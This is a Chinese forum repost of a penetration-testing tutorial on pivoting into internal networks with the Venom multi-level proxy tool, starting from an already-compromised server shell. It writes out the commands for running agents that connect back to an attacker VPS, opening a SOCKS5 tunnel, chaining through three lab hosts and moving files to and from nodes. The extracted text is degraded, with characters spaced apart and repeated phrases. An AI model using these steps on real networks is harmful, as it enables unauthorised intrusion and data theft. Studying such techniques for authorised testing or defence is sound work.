搜索

[22284] 2021-08-24_使用Venom多级代理工具穿透内网

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-08-24_使用Venom多级代理工具穿透内网 使 用 V e n o m 多 级 代 理 工 具 穿 透 内 网 安 全 鸭   L e m o n S e c   2 0 2 1 - 0 8 - 2 4 前 提 ： 前 提 ： 已 经 拿 到 某 服 务 器 s h e l l ， 可 以 上 传 文 件 且 具 有 执 行 权 限 ； 项 目 地 址 项 目 地 址 ( 编 译 后 编 译 后 ) : h t t p s : / / g i t h u b . c o m / D l i v 3 / V e n o m / r e l e a s e s 一 、 进 入 内 网 一 、 进 入 内 网 1 . 上 传 a d m i n _ l i n u x _ x 6 4 到 v p s 端 ， 运 行 并 监 听 本 地 1 1 1 1 1 端 口 ： 2 . 利 用 已 经 拿 到 的 的 s h e l l 上 传 a g e n t _ l i n u x _ x 6 4 文 件 到 目 标 服 务 器 ， 并 执 行 3 . v e n o m 服 务 端 有 回 显 则 表 示 连 接 成 功 , 建 立 s o c k s 连 接 ： c h m o d   7 7 7   a d m i n _ l i n u x _ x 6 4 . /   a d m i n _ l i n u x _ x 6 4   - l p o r t   1 1 1 1 1 c h m o d   7 7 7   a g e n t _ l i n u x _ x 6 4 . / a g e n t _ l i n u x _ x 6 4   - r h o s t   x . x . x . x   - r p o r t   1 1 1 1 1 #   x . x . x . x 是 指 公 网 v p s   I P g o t o   1 s o c k s   1 1 1 1 2 #   S t a r t   a   s o c k s 5   s e r v e r   i n   p o r t   1 1 1 1 2
4 . 本 地 通 过 代 理 软 件 连 接 v p s 开 放 的 1 1 1 1 2 端 口 ， 就 可 以 访 问 到 目 标 内 网 参 考 链 接 ： h t t p s : / / x z . a l i y u n . c o m / t / 4 0 5 8 如 果 目 标 内 网 还 需 要 存 在 多 个 网 段 ， 那 么 就 需 要 进 行 多 级 代 理 。 以 下 内 容 为 转 载 ， 原 文 链 接 ： h t t p s : / / b l o g . c s d n . n e t / u 0 1 1 2 1 5 9 3 9 / a r t i c l e / d e t a i l s / 1 0 3 4 0 3 5 4 5 二 、 穿 透 内 网 二 、 穿 透 内 网 V e n o m 可 可 连 接 连 接 节 点 ， 然 后 以 节 点 为 跳 板 ， 构 建 多 级 代 理 。 节 点 ， 然 后 以 节 点 为 跳 板 ， 构 建 多 级 代 理 。 实 验 环 境 介 绍 ： 实 验 环 境 介 绍 ： 1 . 外 网 I P ： 2 0 . 1 0 . 1 2 0 . X （ 外 网 I P ） 2 . 内 网 的 机 器 三 台 w i n d o w s   I P 地 址 ： 1 9 2 . 1 6 8 . 3 . 1 6 0 、 1 9 2 . 1 6 8 . 3 . 1 5 、 1 9 2 . 1 6 8 . 3 . 3 0 3 . 设 想 外 网 的 V P S 要 访 问 最 里 面 的 1 9 2 . 1 6 8 . 3 . 1 6 0 只 能 一 层 一 层 的 依 次 访 问 ； 1 9 2 . 1 6 8 . 3 . 1 6 0 只 能 和 1 9 2 . 1 6 8 . 3 . 3 0 相 互 访 问 ； 1 9 2 . 1 6 8 . 3 . 3 0 可 以 和 1 9 2 . 1 6 8 . 3 . 1 5 ， 1 9 2 . 1 6 8 . 3 . 1 6 0 访 问 而 不 能 访 问 外 网 的 V P S ； 最 后 3 . 1 5 能 被 外 网 V P S 访 问 ， 也 能 和 3 . 3 0 相 互 访 问 ； 利 用 V e n o m 来 进 行 一 层 一 层 的 代 理 实 现 内 网 穿 透 ；
实 验 开 始 实 验 开 始 1 . 将 下 载 好 的 V e n o m 工 具 依 次 上 传 到 对 应 的 机 器 里 面 ， 外 网 的 V P S 上 面 上 传 a d m i n _ l i n u x _ x 6 4 ， 并 修 改 权 限   c h m o d   7 7 7 a d m i n _ l i n u x _ x 6 4 2 、 使 用 . / a d m i n _ l i n u x _ x 6 4 文 件 来 监 听 本 地 端 口 ， 内 网 的 机 器 就 是 用 a g e n t . e x e 文 件 来 连 接 v p s 。 v p s 执 行 命 令 . / a d m i n _ l i n u x _ x 6 4   - l p o r t   4 3 4 3 ， 监 听 本 地 4 3 4 3 端 口 3 、 所 有 机 器 都 已 经 上 传 了 V e n o m 工 具 包 并 解 压 ， 环 境 都 是 w i n d o w s ； 在 1 9 2 . 1 6 8 . 3 . 1 5 机 器 上 面 执 行 连 接 操 作 ； 执 行 命 令 a g e n t . e x e   - r h o s t   1 2 0 . 1 0 . 1 2 0 . X   - r p o r t   4 3 4 3  
外 网 V P S 监 听 成 功 ， 1 9 2 . 1 6 8 . 3 . 1 5 被 监 听 ： 4 、 然 后 在 V P S 上 进 行 操 作 ； h e l p 查 看 命 令 。 这 里 我 们 要 使 用 到 s h o w ， g o t o ， l i s t e n ， e x i t ， s h e l l 这 几 个 命 令 ； ①   执 行 s h o w 命 令 ， 可 以 看 见 刚 刚 连 接 成 功 的 一 个 节 点 ； ②   g o t o   1 可 以 切 换 到 1 节 点 上 面 去
③ s h e l l     执 行 命 令 ④ e x i t         退 出 ， 进 行 下 一 步 的 监 听 操 作 。 在 不 退 出 1 节 点 的 基 础 上 面 执 行 l i s t e n   4 3 4 3 端 口 进 行 监 听 本 地 端 口 5 、 在 第 二 台 内 网 主 机 1 9 2 . 1 6 8 . 3 . 3 0 机 器 上 面 执 行 命 令 ： 6 .   此 时 V P S 成 功 跨 越 1 9 2 . 1 6 8 . 3 . 1 5 连 接 到 1 9 2 . 1 6 8 . 3 . 3 0 。 ① 执 行 s h o w 命 令 发 现 新 增 了 一 个 节 点 ； ② 切 换 到 节 点 2 中 :   g o t o   2   。 执 行 命 令 ： s h e l l     a g e n t . e x e   - r h o s t   1 9 2 . 1 6 8 . 3 . 1 5   - r p o r t   4 3 4 3
7 . 现 在 进 行 最 后 一 步 实 验 ： 公 网 v p s 穿 透 1 9 2 . 1 6 8 . 3 . 1 5 1 9 2 . 1 6 8 . 3 . 3 0   连 接 到 最 内 层 1 9 2 . 1 6 8 . 3 . 1 6 0 ； 依 次 执 行 命 令 e x i t ， l i s t e n   4 3 4 3 ； 1 9 2 . 1 6 8 . 3 . 3 0 机 器 开 启 本 地 监 听 ： ① 在 1 9 2 . 1 6 8 . 3 . 1 6 0 机 器 上 面 进 行 连 接 操 作 ， 执 行 命 令 ： ② V P S > s h o w ； 成 功 建 立 监 听 ③ g o t o   3   切 换 到 3 节 点 。 s h e l l   执 行 命 令 。 至 此 内 网 穿 透 实 验 成 功 a g e n t . e x e   - r h o s t   1 9 2 . 1 6 8 . 3 . 3 0   - r p o r t   4 3 4 3
其 他 ： 其 他 ： 1 . 以 上 监 听 的 端 口 在 节 点 上 面 进 行 l i s t e n 的 时 候 可 以 不 一 致 ， 一 台 机 器 上 也 可 以 监 听 多 个 端 口 2 . 本 地 文 件 上 传 于 下 载 ； 上 传 ： 上 传 ： 下 载 下 载 3 . V e n o m 工 具 在 执 行 过 程 中 尽 量 不 要 将 命 令 写 错 ， 写 错 后 无 法 删 除 ， 只 能 重 头 来 过 。 工 具 在 执 行 过 程 中 尽 量 不 要 将 命 令 写 错 ， 写 错 后 无 法 删 除 ， 只 能 重 头 来 过 。 u p l o a d   2 0 1 8 . j p g   C : 2 0 1 8 . j p g # 将 本 地 的 文 件 上 传 到 节 点 1 的 C 盘 根 目 录 下 面 d o w n l o a d   C : 1 . g i f   1 . g i f #   将 节 点 1 中 的 文 件 下 载 到 本 地
渗 透 工 具 ｜ 提 权 ｜ 内 网 ｜ S R C ｜ C S 端 安 全 测 试 ｜ 安 全 加 固 等 资 料 分 享 A p a c h e   T o m c a t   自 动   W A R   部 署 和   渗 透 测 试 工 具 h a s h 认 证 概 念 与 h a s h 破 解 方 式 ( 工 具 使 用 方 式 ) 蓝 队 攻 防 ｜ 如 何 在 没 有 日 志 的 情 况 下 跟 踪 事 件 ？ 代 码 审 计 相 关 知 识 与 资 料 分 享 渗 透 测 试 情 报 收 集 工 具 w e b l o g i c   漏 洞 扫 描 工 具 s p r i n g 框 架 漏 洞 扫 描 蓝 队 防 守 反 制 欢 迎 关 注 欢 迎 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理